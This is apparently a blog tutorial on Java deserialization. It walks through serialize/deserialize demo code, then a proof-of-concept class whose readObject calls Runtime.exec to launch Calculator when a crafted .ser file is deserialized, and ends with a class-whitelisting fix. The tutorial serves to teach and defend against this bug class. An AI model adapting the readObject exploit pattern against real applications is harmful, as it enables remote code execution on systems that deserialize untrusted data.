Understanding Java De-serialization

Swapneil Kumar Dash
Sep 23 · 8 min read

So, What is Deserilization?

Demo Time

public class Employee implements java.io.Serializable {public String name;public String address;public transient int SSN;public int number;public void mailCheck() {System.out.println(“Mailing a check to “ + name + “ “ + address);}}
import java.io.*;public class SerializeDemo {public static void main(String [] args) {Employee e = new Employee();e.name = "Reyan Ali";e.address = "Phokka Kuan, Ambehta Peer";e.SSN = 11122333;e.number = 101;try {FileOutputStream fileOut =new FileOutputStream("/tmp/employee.ser");ObjectOutputStream out = new ObjectOutputStream(fileOut);out.writeObject(e); //Serialization done hereout.close();fileOut.close();System.out.printf("Serialized data is saved in /tmp/employee.ser");} catch (IOException i) {i.printStackTrace();}}}
Serialization code gets executed
Content of employee.ser
Base64 serialized data
import java.io.*;import java.net.URL;import java.net.URLClassLoader;
public class DeserializeDemo {public static void main(String [] args) {Employee e = null;try {FileInputStream fileIn = new FileInputStream("/tmp/employee.ser");ObjectInputStream in = new ObjectInputStream(fileIn);e = (Employee) in.readObject(); //Deserialization done herein.close();fileIn.close();} catch (IOException i) {i.printStackTrace();return;} catch (ClassNotFoundException c) {System.out.println("Employee class not found");c.printStackTrace();return;}e.mailCheck();System.out.println("Deserialized Employee...");System.out.println("Name: " + e.name);System.out.println("Address: " + e.address);System.out.println("SSN: " + e.SSN);System.out.println("Number: " + e.number);}}
e = (Employee) in.readObject();
Deserialization code gets executed
import java.io.IOException;public class ExploitDeser implements java.io.Serializable{private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{in.defaultReadObject();Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");}}
import java.io.*;public class SerializeDemo {public static void main(String [] args) {ExploitDeser e=new ExploitDeser();try {FileOutputStream fileOut =new FileOutputStream("/tmp/malicious.ser");ObjectOutputStream out = new ObjectOutputStream(fileOut);out.writeObject(e);out.close();fileOut.close();System.out.printf("Serialized data is saved in /tmp/malicious.ser");} catch (IOException i) {i.printStackTrace();}}}
Provided malicious.ser as input to the DeserializeDemo class
Calculator Pops up


class LookAheadObjectInputStream extends ObjectInputStream {public LookAheadObjectInputStream(InputStream inputStream)throws IOException {super(inputStream);}@Overrideprotected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {if (!desc.getName().equals(Employee.class.getName())) {throw new InvalidClassException("Unauthorized deserialization attempt",desc.getName());}return super.resolveClass(desc);}}
if (!desc.getName().equals(Employee.class.getName())) {
Modified DeserializeDemo class
Error in execution of serialized data of custom class


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